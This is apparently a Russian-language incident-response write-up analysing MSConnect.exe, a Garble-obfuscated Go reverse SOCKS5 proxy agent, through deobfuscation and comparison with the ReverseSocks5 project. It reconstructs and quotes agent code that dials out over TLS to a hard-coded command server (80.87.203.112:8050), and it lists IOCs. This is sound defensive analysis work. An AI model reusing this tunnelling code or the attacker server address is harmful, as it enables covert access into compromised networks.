MSConnect ReverseSocks5
В одном из инцидентов нам попался любопытный бинарный файл с именем MSConnect.exe, который был написан на Golang и накрыт обфускатором «Garble». Символы и строки в нем запутаны, но понять, какие библиотеки используются, можно, например, с помощью
«GoStringUngarbler» — там оказались
«Go-socks5» и
«Yamux».
Функция main состоит всего из двух вызовов.
1️⃣ В первом происходит расшифровка строки C2 сервера 80.87.203.112:8050.
2️⃣ Во второй функции по смещению 0x4375c0 происходит сначала такой вызов:
lea rax, aTcp ; "tcp"
call En5ByLpA.Z6n01OjnUBoF
Исходя из строки «tcp», можно предположить, что En5ByLpA.Z6n01OjnUBoF — это функция Dial из пакета crypto/tls, либо из пакета net.
Для подтверждения этой гипотезы можно заглянуть в таблицу символов — Garble обфусцирует не все имена функций — и поискать по имени пакета En5ByLpA. Используем
goresym и видим:
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.SignatureScheme.String"
},
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.CurveID.String"
},
{
"PackageName": "En5ByLpA",
"FullName": "En5ByLpA.ClientAuthType.String"
},
Типы CurveID, ClientAuthType, SignatureScheme в совокупности характерны для пакета crypto/tls, поэтому смело переименовываем En5ByLpA в crypto/tls.
Далее мы видим вызов функции aBzGlgO.BjV1mgp64WX. По строкам внутри понимаем, что это yamux.Server.
Затем следуют вызовы yamux.AcceptStream и FUN_004377e0. Внутри находится вызов go-socks5.ServeConn. Получаем:
... (config initialization)
dialConn, err := tls.Dial(C2);
session := yamux.Server(dialConn, config);
for {
stream, err := session.AcceptStream();
ServeConn(stream); // from go-socks5
}
Функция с похожей структурой встречается в проекте
XieBroC2, который использует наработки из Acebond/ReverseSocks5.
ReverseSocks5 — это утилита, которая сочетает в одном бинаре SOCKS5 агент и сервер. Сервер хостится на стороне злоумышленника, на его же стороне открывается определенный порт, например, 8050, как в найденном C2, а сам трафик проксируется через подключенные к серверу агенты.
Если заглянуть в файл main.go, можно увидеть такую функцию:
func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
log.Println("Connecting to socks server at " + serverAddress)
var conn net.Conn
var err error
if useTLS {
conn, err = tls.Dial("tcp", serverAddress, nil)
} else {
conn, err = net.Dial("tcp", serverAddress)
}
if err != nil {
log.Fatalln(err.Error())
}
_, err = conn.Write(magicPacket[:])
if err != nil {
log.Fatalln(err.Error())
}
log.Println("Connected")
session := mux.Server(conn, psk)
for {
stream, err := session.AcceptStream()
if err != nil {
log.Println(err.Error())
break
}
go func() {
// Note ServeConn() will take overship of stream and close it.
if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
log.Println(err.Error())
}
}()
}
session.Close()
}
В коде этой функции используются другие реализации mux и SOCKS5 вместо «Yamux» и «Go-socks5» в найденном семпле, а также слегка отличается структура. Если заглянуть в историю и перейти к init-коммиту, то мы попадем именно на ту
версию функции, которая представлена в исследуемом семпле.
Похоже, разработчики этого семпла использовали старый форк. Однако сам семпл все же отличается — в нем оставлена только функциональность агента и удалена обработка параметров командной строки, потому что адрес сервера теперь жестко зашит в бинарный файл.
IOC:
80.87.203.112:8050
7ecef21df2f513736389360429bd464398b700bde462807c68e39790a216707b